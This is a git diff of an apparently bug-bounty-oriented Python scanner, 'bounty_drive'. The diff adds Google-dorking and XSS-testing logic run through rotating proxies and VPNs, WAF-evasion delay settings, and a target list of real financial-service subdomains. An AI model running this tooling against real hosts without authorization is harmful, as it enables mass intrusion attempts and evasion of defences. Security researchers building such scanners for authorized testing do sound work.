sourceFound = True + line = re.sub( + r"\b%s\b" % controlledVariable, + yellow + controlledVariable + end, + line, + ) + pattern = re.finditer(sinks, newLine) + for grp in pattern: + if grp: + sink = newLine[grp.start() : grp.end()].replace(" ", "") + if sink: + line = line.replace(sink, red + sink + end) + sinkFound = True + if line != newLine: + highlighted.append("%-3s %s" % (str(num), line.lstrip(" "))) + num += 1 + except MemoryError: + pass + if sinkFound or sourceFound: + return highlighted + else: + return [] + + +# def photon(seedUrl, headers, level, threadCount, delay, timeout, skipDOM): +# forms = [] # web forms +# processed = set() # urls that have been crawled +# storage = set() # urls that belong to the target i.e. in-scope +# schema = urlparse(seedUrl).scheme # extract the scheme e.g. http or https +# host = urlparse(seedUrl).netloc # extract the host e.g. example.com +# main_url = schema + '://' + host # join scheme and host to make the root url +# storage.add(seedUrl) # add the url to storage +# checkedDOMs = [] + +# def rec(target): +# processed.add(target) +# printableTarget = '/'.join(target.split('/')[3:]) +# if len(printableTarget) > 40: +# printableTarget = printableTarget[-40:] +# else: +# printableTarget = (printableTarget + (' ' * (40 - len(printableTarget)))) +# logger.run('Parsing %s\r' % printableTarget) +# url = getUrl(target, True) +# params = getParams(target, '', True) +# if '=' in target: # if there's a = in the url, there should be GET parameters +# inps = [] +# for name, value in params.items(): +# inps.append({'name': name, 'value': value}) +# forms.append({0: {'action': url, 'method': 'get', 'inputs': inps}}) +# response = requester(url, params, headers, True, delay, timeout).text +# retireJs(url, response) +# if not skipDOM: +# highlighted = dom(response) +# clean_highlighted = ''.join([re.sub(r'^\d+\s+', '', line) for line in highlighted]) +# if highlighted and clean_highlighted not in checkedDOMs: +# checkedDOMs.append(clean_highlighted) +# logger.good('Potentially vulnerable objects found at %s' % url) +# logger.red_line(level='good') +# for line in highlighted: +# logger.no_format(line, level='good') +# logger.red_line(level='good') +# forms.append(zetanize(response)) +# matches = re.findall(r'<[aA].*href=["\']{0,1}(.*?)["\']', response) +# for link in matches: # iterate over the matches +# # remove everything after a "#" to deal with in-page anchors +# link = link.split('#')[0] +# if link.endswith(('.pdf', '.png', '.jpg', '.jpeg', '.xls', '.xml', '.docx', '.doc')): +# pass +# else: +# if link[:4] == 'http': +# if link.startswith(main_url): +# storage.add(link) +# elif link[:2] == '//': +# if link.split('/')[2].startswith(host): +# storage.add(schema + link) +# elif link[:1] == '/': +# storage.add(main_url + link) +# else: +# storage.add(main_url + '/' + link) +# try: +# for x in range(level): +# urls = storage - processed # urls to crawl = all urls - urls that have been crawled +# # for url in urls: +# # rec(url) +# threadpool = concurrent.futures.ThreadPoolExecutor( +# max_workers=threadCount) +# futures = (threadpool.submit(rec, url) for url in urls) +# for i in concurrent.futures.as_completed(futures): +# pass +# except KeyboardInterrupt: +# return [forms, processed] +# return [forms, processed] + + +# def checker(url, params, headers, GET, delay, payload, positions, timeout, encoding): +# checkString = 'st4r7s' + payload + '3nd' +# if encoding: +# checkString = encoding(unquote(checkString)) +# response = requester(url, replaceValue( +# params, xsschecker, checkString, copy.deepcopy), headers, GET, delay, timeout).text.lower() +# reflectedPositions = [] +# for match in re.finditer('st4r7s', response): +# reflectedPositions.append(match.start()) +# filledPositions = fillHoles(positions, reflectedPositions) +# # Itretating over the reflections +# num = 0 +# efficiencies = [] +# for position in filledPositions: +# allEfficiencies = [] +# try: +# reflected = response[reflectedPositions[num] +# :reflectedPositions[num]+len(checkString)] +# efficiency = fuzz.partial_ratio(reflected, checkString.lower()) +# allEfficiencies.append(efficiency) +# except IndexError: +# pass +# if position: +# reflected = response[position:position+len(checkString)] +# if encoding: +# checkString = encoding(checkString.lower()) +# efficiency = fuzz.partial_ratio(reflected, checkString) +# if reflected[:-2] == ('\\%s' % checkString.replace('st4r7s', '').replace('3nd', '')): +# efficiency = 90 +# allEfficiencies.append(efficiency) +# efficiencies.append(max(allEfficiencies)) +# else: +# efficiencies.append(0) +# num += 1 +# return list(filter(None, efficiencies)) + +# def check_filter_efficiency(url, params, headers, GET, delay, occurences, timeout, encoding): +# positions = occurences.keys() +# sortedEfficiencies = {} +# # adding < > to environments anyway because they can be used in all contexts +# environments = set(['<', '>']) +# for i in range(len(positions)): +# sortedEfficiencies[i] = {} +# for i in occurences: +# occurences[i]['score'] = {} +# context = occurences[i]['context'] +# if context == 'comment': +# environments.add('-->') +# elif context == 'script': +# environments.add(occurences[i]['details']['quote']) +# environments.add('') +# elif context == 'attribute': +# if occurences[i]['details']['type'] == 'value': +# if occurences[i]['details']['name'] == 'srcdoc': # srcdoc attribute accepts html data with html entity encoding +# environments.add('<') # so let's add the html entity +# environments.add('>') # encoded versions of < and > +# if occurences[i]['details']['quote']: +# environments.add(occurences[i]['details']['quote']) +# for environment in environments: +# if environment: +# efficiencies = checker( +# url, params, headers, GET, delay, environment, positions, timeout, encoding) +# efficiencies.extend([0] * (len(occurences) - len(efficiencies))) +# for occurence, efficiency in zip(occurences, efficiencies): +# occurences[occurence]['score'][environment] = efficiency +# return occurences + + +def test_vulnerability_xss(config, website_to_test): """ Test a list of websites for XSS vulnerability using multithreading and proxies. """ - if len(POTENTIAL_PATHS["xss"][1]) > 0: - proxy_cycle = round_robin_proxies(proxies) - VULN_PATHS["xss"][1] = [] - - # s = Service(ChromeDriverManager().install()) - # driver = webdriver.Chrome(service=s) - - new_urls = [] + if len(website_to_test) > 0: + + proxies, proxy_cycle = get_proxies_and_cycle(config) + + vuln_path = [] + + if config["do_web_scrap"]: + # if not skipDOM: + # logger.run('Checking for DOM vulnerabilities') + # highlighted = dom(response) + # if highlighted: + # logger.good('Potentially vulnerable objects found') + # logger.red_line(level='good') + # for line in highlighted: + # logger.no_format(line, level='good') + # logger.red_line(level='good') + + new_urls = [] + + lock = threading.Lock() + + # Now, append a proxy to each task + number_of_worker = len(proxies) + search_tasks_with_proxy = [] + for website in website_to_test: + proxy = next(proxy_cycle) + search_tasks_with_proxy.append({"website": website, "proxy": proxy}) + + with concurrent.futures.ThreadPoolExecutor( + max_workers=number_of_worker + ) as executor: + future_to_search = { + executor.submit( + scrape_links_from_url, task["website"], task["proxy"] + ): task + for task in search_tasks_with_proxy + } + for website in tqdm( + concurrent.futures.as_completed(future_to_search), + desc=f"Upating links DB for xss website", + unit="site", + total=len(future_to_search), + ): + with lock: + new_urls += website.result() + + cprint(f"Found {len(new_urls)} new links", color="green", file=sys.stderr) + + # crawl the website for more links TODO + + website_to_test += new_urls + + website_to_test = list(set(website_to_test)) + + cprint( + f"Total links: {len(website_to_test)}", + color="green", + file=sys.stderr, + ) lock = threading.Lock() - # Now, append a proxy to each task number_of_worker = len(proxies) search_tasks_with_proxy = [] - for website in POTENTIAL_PATHS["xss"][1]: + for website in website_to_test: proxy = next(proxy_cycle) search_tasks_with_proxy.append({"website": website, "proxy": proxy}) @@ -185,55 +730,10 @@ def test_vulnerability_xss(proxies): ) as executor: future_to_search = { executor.submit( - scrape_links_from_url, task["website"], task["proxy"] + test_xss_target, task["website"], task["proxy"], config ): task for task in search_tasks_with_proxy } - for website in tqdm( - concurrent.futures.as_completed(future_to_search), - desc=f"Upating links DB for xss website", - unit="site", - total=len(future_to_search), - ): - with lock: - new_urls += website.result() - - cprint(f"Found {len(new_urls)} new links", color="green", file=sys.stderr) - - # crawl the website for more links TODO - - POTENTIAL_PATHS["xss"][1] += new_urls - - POTENTIAL_PATHS["xss"][1] = list(set(POTENTIAL_PATHS["xss"][1])) - - cprint( - f"Total links: {len(POTENTIAL_PATHS['xss'][1])}", - color="green", - file=sys.stderr, - ) - - with open(POTENTIAL_PATHS["xss"][0], "r") as file: # Open file in append mode - writen_urls = file.readlines() - - with open(POTENTIAL_PATHS["xss"][0], "a") as file: - for url in POTENTIAL_PATHS["xss"][1]: - if url not in writen_urls: - file.write(url + "\n") - - # Now, append a proxy to each task - number_of_worker = len(proxies) - search_tasks_with_proxy = [] - for website in POTENTIAL_PATHS["xss"][1]: - proxy = next(proxy_cycle) - search_tasks_with_proxy.append({"website": website, "proxy": proxy}) - - with concurrent.futures.ThreadPoolExecutor( - max_workers=number_of_worker - ) as executor: - future_to_search = { - executor.submit(test_xss_target, task["website"], task["proxy"]): task - for task in search_tasks_with_proxy - } for website in tqdm( concurrent.futures.as_completed(future_to_search), desc=f"Testing for XSS", @@ -241,18 +741,23 @@ def test_vulnerability_xss(proxies): total=len(future_to_search), ): result, payload_url = website.result() - if result: - VULN_PATHS["xss"][1].append(payload_url) - cprint(f"[VULNERABLE XSS] {payload_url}", "green", file=sys.stderr) - else: - cprint( - f"[NOT VULNERABLE XSS] {payload_url}", "red", file=sys.stderr - ) - - # if VULN_PATHS["xss"][1]: + with lock: + if result: + vuln_path.append(payload_url) + cprint( + f"[VULNERABLE XSS] {payload_url}", "green", file=sys.stderr + ) + else: + cprint( + f"[NOT VULNERABLE XSS] {payload_url}", + "red", + file=sys.stderr, + ) + + # if vuln_path: # driver.execute_script("window.open('');") # driver.switch_to.window(driver.window_handles[-1]) - # for vulnerable_url in VULN_PATHS["xss"][1]: + # for vulnerable_url in vuln_path: # driver.get(vulnerable_url) else: cprint("No Potential XSS", color="red", file=sys.stderr) diff --git a/bounty_drive/bounty_drive.py b/bounty_drive/bounty_drive.py index fbc3331..11ce16b 100755 --- a/bounty_drive/bounty_drive.py +++ b/bounty_drive/bounty_drive.py @@ -1,12 +1,12 @@ # /usr/bin/python3 -import argparse -import socket import sys -from termcolor import colored, cprint +from termcolor import cprint import os +import csv +import concurrent.futures +from tqdm import tqdm -from attacks.dorks.dorking_config import dorking_config from attacks.dorks.google_dorking import ( google_search_with_proxy, load_google_dorks_and_search, @@ -14,10 +14,9 @@ from attacks.dorks.github_dorking import * -from utils.proxies import setup_proxies -from utils.app_config import * -from utils.nord_vpn_config import * - +from utils.results_manager import get_last_processed_ids, get_xss_links +from utils.proxies_manager import round_robin_proxies, setup_proxies +from utils.vpn_manager import setup_vpn from attacks.xss.xss import test_vulnerability_xss from attacks.xss.xss_config import * @@ -29,11 +28,7 @@ from utils.banner import load_animation from utils.logger import * -from fp.fp import FreeProxy, FreeProxyException -from nordvpn_switcher.nordvpn_switch import initialize_VPN, rotate_VPN, terminate_VPN -import csv - -import utils.logger +import configparser os.system("clear") @@ -42,439 +37,268 @@ ######################################################################################### -def get_user_arguments_input(): +def read_config(file_path): """ - Collect user input for website extension, total output, and starting page number, with default values. + Reads the configuration file and returns the settings as a dictionary. """ - parser = argparse.ArgumentParser( - description="Collect user input for scanning websites." - ) - - parser.add_argument( - "--use_proxy", - type=str, - default="true", - help="Restrict search to subdomain present in target.txt (default: true)", - ) - parser.add_argument( - "--extension", - type=str, - default=DEFAULT_EXTENSION, - help="Website extension (default: .com)", - ) - parser.add_argument( - "--subdomain", - type=str, - default="true", - help="Restrict search to subdomain present in target.txt (default: true)", - ) - parser.add_argument( - "--total_output", - type=int, - default=DEFAULT_TOTAL_OUTPUT, - help="Total number of websites to scan (default: 10)", - ) - parser.add_argument( - "--page_no", - type=int, - default=DEFAULT_PAGE_NO, - help="Starting page number for Google search (default: 1)", - ) - - parser.add_argument( - "--do_dorking_google", - type=str, - default="true", - help="Perform Google dorking scan phase (default: true)", - ) - parser.add_argument( - "--do_dorking_github", - type=str, - default="true", - help="Perform Github dorking scan phase (default: true)", - ) - - parser.add_argument( - "--do_xss", - type=str, - default="true", - help="Test for XSS vulnerability (default: true)", - ) - parser.add_argument( - "--do_encode_xss", - type=str, - default="true", - help="Encode XSS payload (default: true)", - ) - parser.add_argument( - "--do_fuzzing_xss", - type=str, - default="true", - help="Fuzz XSS payload (default: true)", - ) - parser.add_argument( - "--do_blind_xss", - type=str, - default="true", - help="Test blind XSS payload (default: true)", - ) - - parser.add_argument( - "--do_sqli", - type=str, - default="true", - help="Test for SQLi vulnerability (default: true)", - ) - - args = parser.parse_args() - - extension = args.extension - subdomain = args.subdomain.lower() == "true" - total_output = args.total_output - page_no = args.page_no - - do_dorking_google = args.do_dorking_google.lower() == "true" - do_dorking_github = args.do_dorking_github.lower() == "true" - - do_xss = args.do_xss.lower() == "true" - encode_xss = args.do_encode_xss.lower() == "true" - fuzzing_xss = args.do_fuzzing_xss.lower() == "true" - blind_xss = args.do_blind_xss.lower() == "true" + config = configparser.ConfigParser() + config.read(file_path) + + settings = { + # Settings + "extension": config["Settings"].get("extension"), + "subdomain": config["Settings"].getboolean("subdomain"), + "do_web_scrap": config["Settings"].getboolean("do_web_scrap"), + "target_file": config["Settings"].get("target_file"), + "experiment_file_path": config["Settings"].get("experiment_file_path"), + # Google Dorking + "do_dorking_google": config["GoogleDorking"].getboolean("do_dorking_google"), + "total_output": config["GoogleDorking"].getint("total_output"), + "page_no": config["GoogleDorking"].getint("page_no"), + "default_total_output": config["GoogleDorking"].getint("default_total_output"), + "default_page_no": config["GoogleDorking"].getint("default_page_no"), + "lang": config["GoogleDorking"].get("lang"), + # Github Dorking + "do_dorking_github": config["GithubDorking"].getboolean("do_dorking_github"), + # XSS + "do_xss": config["XSS"].getboolean("do_xss"), + "encode_xss": config["XSS"].getboolean("encode_xss"), + "fuzz_xss": config["XSS"].getboolean("fuzz_xss"), + "blind_xss": config["XSS"].getboolean("blind_xss"), + "do_sqli": config["SQLi"].getboolean("do_sqli"), + # Proxy + "use_proxy": config["Proxy"].getboolean("use_proxy"), + "use_free_proxy_file": config["Proxy"].getboolean("use_free_proxy_file"), + "use_free_proxy": config["Proxy"].getboolean("use_free_proxy"), + "use_nordvpn_proxy": config["Proxy"].getboolean("use_nordvpn_proxy"), + "proxies": config["Proxy"].get("proxies"), + "proxy_mean_delay": config["Proxy"].getint("proxy_mean_delay"), + "proxy_factor": config["Proxy"].getint("proxy_factor"), + # VPN + "use_vpn": config["VPN"].getboolean("use_vpn"), + "use_nordvpn": config["VPN"].getboolean("use_nordvpn"), + "nord_vpn_login": config["VPN"].get("nord_vpn_login"), + # Search + "default_extension": config["Search"].get("default_extension"), + "search_extension": config["Search"].get("extension"), + "recursive": config["Search"].getboolean("recursive"), + # Delay + "initial_delay": config["Delay"].getint("initial_delay"), + "delay_factor": config["Delay"].getint("delay_factor"), + "long_delay": config["Delay"].getint("long_delay"), + "max_delay": config["Delay"].getint("max_delay"), + "request_delay": config["Delay"].getint("request_delay"), + "waf_delay": config["Delay"].getint("waf_delay"), + # Rate + "rate_per_minute": config["Rate"].getint("rate_per_minute"), + "current_delay": config["Rate"].getint("current_delay"), + } + + return settings + + +def get_user_input(config_file="configs/config.ini"): + """ + Collect user input from configuration file. + """ + config = read_config(config_file) - do_sqli = args.do_sqli.lower() == "true" - use_proxy = args.use_proxy + categories = [] - if subdomain: - with open("target.txt", "r") as file: - subdomain_list = file.read().splitlines() - cprint(f"Subdomains: {subdomain_list}", "green", file=sys.stderr) + # Define headers based on enabled parameters + setup_csv(config, categories) cprint( - f"Extension: {extension}, Total Output: {total_output}, Page No: {page_no}, Do Google Dorking: {do_dorking_google}, Do Github Dorking {do_dorking_github}", + f"-Extension: {config['extension']}\n-Total Output: {config['total_output']}\n-Page No: {config['page_no']}\n-Do Google Dorking: {config['do_dorking_google']}\n-Do Github Dorking {config['do_dorking_github']}\n-Do XSS: {config['do_xss']}\n-Do SQLi: {config['do_sqli']},\n Domain: {config['subdomain']}\n-Use Proxy: {config['use_proxy']}", "green", file=sys.stderr, ) - return extension, do_dorking_google, do_dorking_github, do_sqli, do_xss, use_proxy + if config["use_proxy"]: + setup_proxies(config) + if config["use_vpn"]: + setup_vpn(config) -def get_user_input(): - """ - Collect user input for website extension, total output, and starting page number, with default values. - """ - use_proxy = ( - input( - colored( - f"Do you want to use proxies ? [default: true (vs false)] \n----> ", - "cyan", - ) - ) - or "true" - ) - use_vpn = ( - input( - colored( - f"Do you want to use VPN (NordVPN) ? [default: true (vs false)] \n----> ", - "cyan", - ) - ) - or "true" - ) - extension = ( - input( - colored( - f"Please specify the website extension(eg- .in,.com,.pk) [default: {DEFAULT_EXTENSION}] \n----> ", - "cyan", - ) - ) - or DEFAULT_EXTENSION - ) # TODO - subdomain = ( - input( - colored( - f"Do you want to restrict search to subdomain present in target.txt ? [default: true (vs false)] \n----> ", - "cyan", - ) - ) - or "true" - ) + last_dork_id, last_link_id, last_attack_id = get_last_processed_ids(config) - do_dorking_google = ( - input( - colored( - f"Do you want to do the Google dorking scan phase ? [default: true (vs false)] \n----> ", - "cyan", - ) - ) - or "true" - ) - do_dorking_google = True if do_dorking_google.lower() == "true" else False - total_output = DEFAULT_TOTAL_OUTPUT - page_no = DEFAULT_PAGE_NO - if do_dorking_google: - total_output = ( - input( - colored( - f"Please specify the total no. of websites you want [default: {DEFAULT_TOTAL_OUTPUT}] \n----> ", - "cyan", - ) - ) - or DEFAULT_TOTAL_OUTPUT - ) - page_no = ( - input( - colored( - f"From which Google page you want to start(eg- 1,2,3) [default: {DEFAULT_PAGE_NO}] \n----> ", - "cyan", - ) - ) - or DEFAULT_PAGE_NO - ) - # Ensure numeric inputs are correctly converted to integers - TOTAL_OUTPUT = int(total_output) - PAGE_NO = int(page_no) - - do_dorking_github = ( - input( - colored( - f"Do you want to do the Github dorking scan phase ? [default: false (vs true)] \n----> ", - "cyan", + if config["subdomain"]: + proxies = config["proxies"] + if config["use_proxy"] and len(proxies) == 0: + cprint( + f"Using proxies -> you should have at least one UP", + "red", + file=sys.stderr, ) - ) - or "false" - ) + exit() - do_xss = ( - input( - colored( - f"Do you want to test for XSS vulnerability ? [default: true (vs false)] \n----> ", - "cyan", - ) - ) - or "true" - ) - do_xss = True if do_xss.lower() == "true" else False - if do_xss: - do_encode_xss = ( - input( - colored( - f"Do you want to encode XSS payload ? [default: true (vs false)] \n----> ", - "cyan", - ) - ) - or "true" - ) - do_fuzzing_xss = ( - input( - colored( - f"Do you want to fuzz XSS payload ? [default: true (vs false)] \n----> ", - "cyan", - ) - ) - or "true" - ) - do_blind_xss = ( - input( - colored( - f"Do you want to test blind XSS payload ? [default: true (vs false)] \n----> ", - "cyan", - ) - ) - or "true" - ) - xss_config.ENCODE_XSS = True if do_encode_xss.lower() == "true" else False - xss_config.FUZZ_XSS = True if do_fuzzing_xss.lower() == "true" else False - xss_config.BLIND_XSS = True if do_blind_xss.lower() == "true" else False - else: - del POTENTIAL_PATHS["xss"] - del VULN_PATHS["xss"] - - do_sqli = ( - input( - colored( - f"Do you want to test for SQLi vulnerability ? [default: false (vs true)] \n----> ", - "cyan", - ) - ) - or "false" - ) + if not config["use_proxy"]: + proxies = [None] - do_dorking_github = True if do_dorking_github.lower() == "true" else False - subdomain = True if subdomain.lower() == "true" else False - use_proxy = True if use_proxy.lower() == "true" else False - use_vpn = True if use_vpn.lower() == "true" else False - do_sqli = True if do_sqli.lower() == "true" else False - if do_sqli: - pass - else: - del POTENTIAL_PATHS["sqli"] - del VULN_PATHS["sqli"] - - if subdomain: - with open("target.txt", "r") as file: - subdomain = file.read().splitlines() - # for domain in subdomain: - # for key, value in VULN_PATHS.items(): - # google_search_with_proxy( - # (f"site:{domain}", None, key), - # None, - # key, - # total_output=10, - # generated_dorks=False, - # secured=True - # ) - - dorking_config.SUBDOMAIN = subdomain + proxy_cycle = round_robin_proxies(proxies) - cprint( - f"Extension: {extension}, Total Output: {total_output}, Page No: {page_no}, Do Google Dorking: {do_dorking_google}, Do Github Dorking {do_dorking_github}, Do XSS: {do_xss}, Do SQLi: {do_sqli},\n Domain: {subdomain}, Use Proxy: {use_proxy}", - "green", - file=sys.stderr, - ) + saved_total_output = config["total_output"] + current_total_output = 10 + config["total_output"] = current_total_output + search_tasks_with_proxy = [] - return ( - extension, - do_dorking_google, - do_dorking_github, - do_sqli, - do_xss, - use_proxy, - use_vpn, - ) + number_of_worker = min(len(proxies), 30) + cprint(f"Number of workers: {number_of_worker}", "yellow", file=sys.stderr) + + with open(config["target_file"], "r") as file: + subdomain_list = file.read().splitlines() + if len(subdomain_list) >= last_dork_id: + for domain in subdomain_list: + processed = False + for category in categories: + with open( + config["experiment_file_path"], mode="r", newline="" + ) as file: + reader = csv.DictReader(file) + for row in reader: + if domain in row["dork"]: + processed = True + + if not processed: + proxy = next(proxy_cycle) + search_tasks_with_proxy.append( + { + "dork": "", + "proxy": proxy, + "category": category, + "domain": domain, + } + ) + cprint( + f"Initial Dorking search for based targets {domain} - {category}", + "yellow", + file=sys.stderr, + ) + else: + cprint( + f"Already initialized Dorking search for based targets {domain} - {category}", + "yellow", + file=sys.stderr, + ) + + with concurrent.futures.ThreadPoolExecutor( + max_workers=number_of_worker + ) as executor: + future_to_search = { + executor.submit( + google_search_with_proxy, + task["dork"], + task["proxy"], + task["category"], + config, + task["domain"], + ): task + for task in search_tasks_with_proxy + } + for future in tqdm( + concurrent.futures.as_completed(future_to_search), + total=len(future_to_search), + desc="Initializing Dorking of targets", + unit="site", + ): + task = future_to_search[future] + # try: + last_dork_id = future.result() + + config["subdomain"] = subdomain_list + else: + config["subdomain"] = [None] + config["total_output"] = saved_total_output + + return config, last_dork_id, last_link_id, last_attack_id, categories + + +def setup_csv(config, categories): + csv_headers = [ + "dork_id", + "link_id", + "attack_id", + "category", + "url", + "dork", + "success", + "payload", + ] + if config["do_dorking_github"]: + csv_headers.append("github_success") + if config["do_sqli"]: + sqli_csv = config["experiment_file_path"].replace(".csv", "_sqli.csv") + config["sqli_csv"] = sqli_csv + if not os.path.exists(sqli_csv) or os.path.getsize(sqli_csv) == 0: + with open(sqli_csv, mode="a", newline="") as file: + writer = csv.writer(file) + writer.writerow(csv_headers) + + csv_headers.append("sqli_success") + categories.append("sqli") + if config["do_xss"]: + # TODO + xss_csv = config["experiment_file_path"].replace(".csv", "_xss.csv") + config["xss_csv"] = xss_csv + if not os.path.exists(xss_csv) or os.path.getsize(xss_csv) == 0: + with open(xss_csv, mode="a", newline="") as file: + writer = csv.writer(file) + writer.writerow(csv_headers) + + csv_headers.append("xss_success") + categories.append("xss") + + if ( + not os.path.exists(config["experiment_file_path"]) + or os.path.getsize(config["experiment_file_path"]) == 0 + ): + with open(config["experiment_file_path"], mode="a", newline="") as file: + writer = csv.writer(file) + writer.writerow(csv_headers) if __name__ == "__main__": try: load_animation() - for key, value in VULN_PATHS.items(): - if not os.path.exists(value[0]): - with open(value[0], "w") as file: - file.write("") - for key, value in POTENTIAL_PATHS.items(): - if not os.path.exists(value[0]): - with open(value[0], "w") as file: - file.write("") - with open(value[0].replace(".txt", "_dork.txt"), "w") as file: - file.write("") - if len(sys.argv) > 3: + + if len(sys.argv) == 2: ( - extension, - do_dorking_google, - do_dorking_github, - do_sqli, - do_xss, - use_proxy, - ) = get_user_arguments_input() - else: + config, + last_dork_id, + last_link_id, + last_attack_id, + categories, + ) = get_user_input(sys.argv[1]) + elif len(sys.argv) == 1: ( - extension, - do_dorking_google, - do_dorking_github, - do_sqli, - do_xss, - use_proxy, - use_vpn, + config, + last_dork_id, + last_link_id, + last_attack_id, + categories, ) = get_user_input() + else: + cprint( + "Invalid number of arguments (./bounty_drive.py [config_file_path])", + "red", + file=sys.stderr, + ) + exit() - proxies = [None] - username = None - password = None - if use_proxy: - # TODO check if proxy alive ? - # proxies = setup_proxies() - try: - # Read NordVPN logins csv - if os.path.exists("proxies/nordvpn_login.csv") and use_vpn: - with open("proxies/nordvpn_login.csv", "r") as file: - nordvpn = list(csv.reader(file)) - for i in range(1, len(nordvpn)): - nord_vpn_login.append([nordvpn[i][0], nordvpn[i][1]]) - - use_nordvpn = True - cprint( - f"You have NordVPN account using these proxies {nord_vpn_login}", - "green", - file=sys.stderr, - ) - # https://stackoverflow.com/questions/64516109/how-to-use-nordvpn-servers-as-proxy-for-python-requests - # TODO: curl -s https://nordvpn.com/api/server | jq -r ".[] | select(.features.socks==true) | [.domain, .name] | @tsv" - with open("proxies/nordvpn-proxy-list.txt", "r") as file: - proxies = [] - for line in file.readlines(): - cprint(f"Proxy: {line}", "green", file=sys.stderr) - line = line.replace("\n", "") - # socks5h enable hostname resolution - p = ( - "socks5h://" - + "username" - + ":" - + "password" - + "@" - + line - + ":1080" - ) - proxies.append(p) - cprint(f"Proxy: {p}", "green", file=sys.stderr) - else: - cprint("Using free proxies ", "green", file=sys.stderr) - proxies = FreeProxy( - google=None, rand=True, https=True, timeout=10 - ).get_proxy_list(repeat=False) - - cprint( - "Number of proxies: " + str(len(proxies)), "green", file=sys.stderr - ) - except FreeProxyException as e: - cprint( - f"FreeProxyException: {e}", - "red", - file=sys.stderr, - ) - exit() - - if use_vpn: - if username and password: - try: - initialize_VPN(save=1, area_input=["complete rotation"]) - except Exception as e: - cprint( - f"VPN initialization error: {e}", - "red", - file=sys.stderr, - ) - # exit() - use_nordvpn = False - else: - cprint( - "You need to provide NordVPN credentials to use VPN", - "red", - file=sys.stderr, - ) - # exit() - use_nordvpn = False - - if do_dorking_google: + if config["do_dorking_google"]: cprint( "\nStarting Google dorking scan phase...\n", "yellow", file=sys.stderr ) - load_google_dorks_and_search(extension, proxies) + load_google_dorks_and_search(config, categories) - if do_dorking_github: + if config["do_dorking_github"]: cprint( "\nStarting Github dorking scan phase...\n", "yellow", file=sys.stderr ) raise NotImplementedError("Github dorking scan phase not implemented yet") - load_github_dorks_and_search(extension, proxies) + load_github_dorks_and_search(config, categories) - def read_potential_sites(): - for key, value in POTENTIAL_PATHS.items(): - with open(value[0], "r") as file: - POTENTIAL_PATHS[key][1] = list(set(file.read().splitlines())) - - # Call the function to initialize the arrays - read_potential_sites() - - if do_sqli: + if config["do_sqli"]: raise NotImplementedError("SQLi phase not implemented yet") website_to_test = POTENTIAL_PATHS["sqli"][1] cprint( @@ -488,10 +312,10 @@ def read_potential_sites(): "red", file=sys.stderr, ) - test_vulnerability_sqli(proxies) + test_vulnerability_sqli(config) - if do_xss: - website_to_test = POTENTIAL_PATHS["xss"][1] + if config["do_xss"]: + website_to_test = get_xss_links(config) cprint( "\nTesting websites for XSS vulnerability...\n", "yellow", @@ -503,25 +327,26 @@ def read_potential_sites(): "red", file=sys.stderr, ) - test_vulnerability_xss(proxies) + test_vulnerability_xss(config, website_to_test) cprint(banner_terminal_res, "green", file=sys.stderr) - if do_sqli and VULN_PATHS["sqli"][1]: - raise NotImplementedError("SQLi phase not implemented yet") - cprint( - "The following targets are affected with SQLi:", "red", file=sys.stderr - ) - for target in VULN_PATHS["sqli"][1]: - cprint(target, "red", file=sys.stderr) - - if do_xss and VULN_PATHS["xss"][1]: - cprint( - "The following targets are affected with XSS:", "red", file=sys.stderr - ) - for target in VULN_PATHS["xss"][1]: - cprint(target, "red", file=sys.stderr) - + # if do_sqli and VULN_PATHS["sqli"][1]: + # raise NotImplementedError("SQLi phase not implemented yet") + # cprint( + # "The following targets are affected with SQLi:", "red", file=sys.stderr + # ) + # for target in VULN_PATHS["sqli"][1]: + # cprint(target, "red", file=sys.stderr) + + # if do_xss and VULN_PATHS["xss"][1]: + # cprint( + # "The following targets are affected with XSS:", "red", file=sys.stderr + # ) + # for target in VULN_PATHS["xss"][1]: + # cprint(target, "red", file=sys.stderr) + except Exception as e: + cprint(f"Error: {e}", "red", file=sys.stderr) finally: sys.stderr = orig_stdout f.close() diff --git a/bounty_drive/config.ini b/bounty_drive/config.ini deleted file mode 100644 index 38787dd..0000000 --- a/bounty_drive/config.ini +++ /dev/null @@ -1 +0,0 @@ -; TODO \ No newline at end of file diff --git a/bounty_drive/configs/config.ini b/bounty_drive/configs/config.ini new file mode 100644 index 0000000..65b08a5 --- /dev/null +++ b/bounty_drive/configs/config.ini @@ -0,0 +1,60 @@ +[Settings] +extension = +subdomain = true +do_web_scap = true +target_file = target_earlywarnings.txt +experiment_file_path = reports/experiment_results_earlywarning.csv +logging=DEBUG +max_thread = 30 + +[GoogleDorking] +do_dorking_google = true +total_output = 100 +page_no = 1 +default_total_output = 10 +default_page_no = 1 +lang = en + +[GithubDorking] +do_dorking_github = false + +[XSS] +do_xss = true +encode_xss = true +fuzz_xss = true +blind_xss = true +dom_xss = true + +[SQLi] +do_sqli = false + +[Proxy] +use_proxy = true +use_free_proxy_file = false +use_free_proxy = false +use_nordvpn_proxy = true +proxies = [None] +proxy_mean_delay = 10 +proxy_factor = 1 + +[VPN] +use_vpn = false +use_nordvpn = false +nord_vpn_login = [] + +[Search] +default_extension = +extension = +recursive = true + +[Delay] +initial_delay = 30 +delay_factor = 2 +long_delay = 15 +max_delay = 600 +request_delay = 30 +waf_delay = 600 + +[Rate] +rate_per_minute = 1 +current_delay = 60 \ No newline at end of file diff --git a/bounty_drive/proxies/sharkvpn-proxy-list.txt b/bounty_drive/proxies/sharkvpn-proxy-list.txt new file mode 100644 index 0000000..e69de29 diff --git a/bounty_drive/proxies/sharkvpn_login.csv b/bounty_drive/proxies/sharkvpn_login.csv new file mode 100644 index 0000000..e69de29 diff --git a/bounty_drive/reports/screenshots/.gitkeep b/bounty_drive/reports/screenshots/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/bounty_drive/target_earlywarnings.txt b/bounty_drive/target_earlywarnings.txt new file mode 100644 index 0000000..4a93fc6 --- /dev/null +++ b/bounty_drive/target_earlywarnings.txt @@ -0,0 +1,18 @@ +accountinfo-cat.earlywarning.com +accountinfo.earlywarning.com +identitychek.earlywarning.com +identitychekcat.earlywarning.com +mfa.earlywarning.com +accountinfodirect-cat.earlywarning.com +accountinfodirect.earlywarning.com +aoa-ws-direct-sd.earlywarning.com +rtn-oauth-irect.earlywarning.com +aoa-ws-cat.earlywarning.com +aoa-ws.earlywarning.com +identitychekcatxml.earlywarning.com +identitychekxml.earlywarning.com +sa*.earlywarning.com +api.zmsp.earlywarning.com +api.zmsp.*.earlywarning.io +partners.zellepay.com +register.zellepay.com diff --git a/bounty_drive/target_fireblock.txt b/bounty_drive/target_fireblock.txt new file mode 100644 index 0000000..4e5889e --- /dev/null +++ b/bounty_drive/target_fireblock.txt 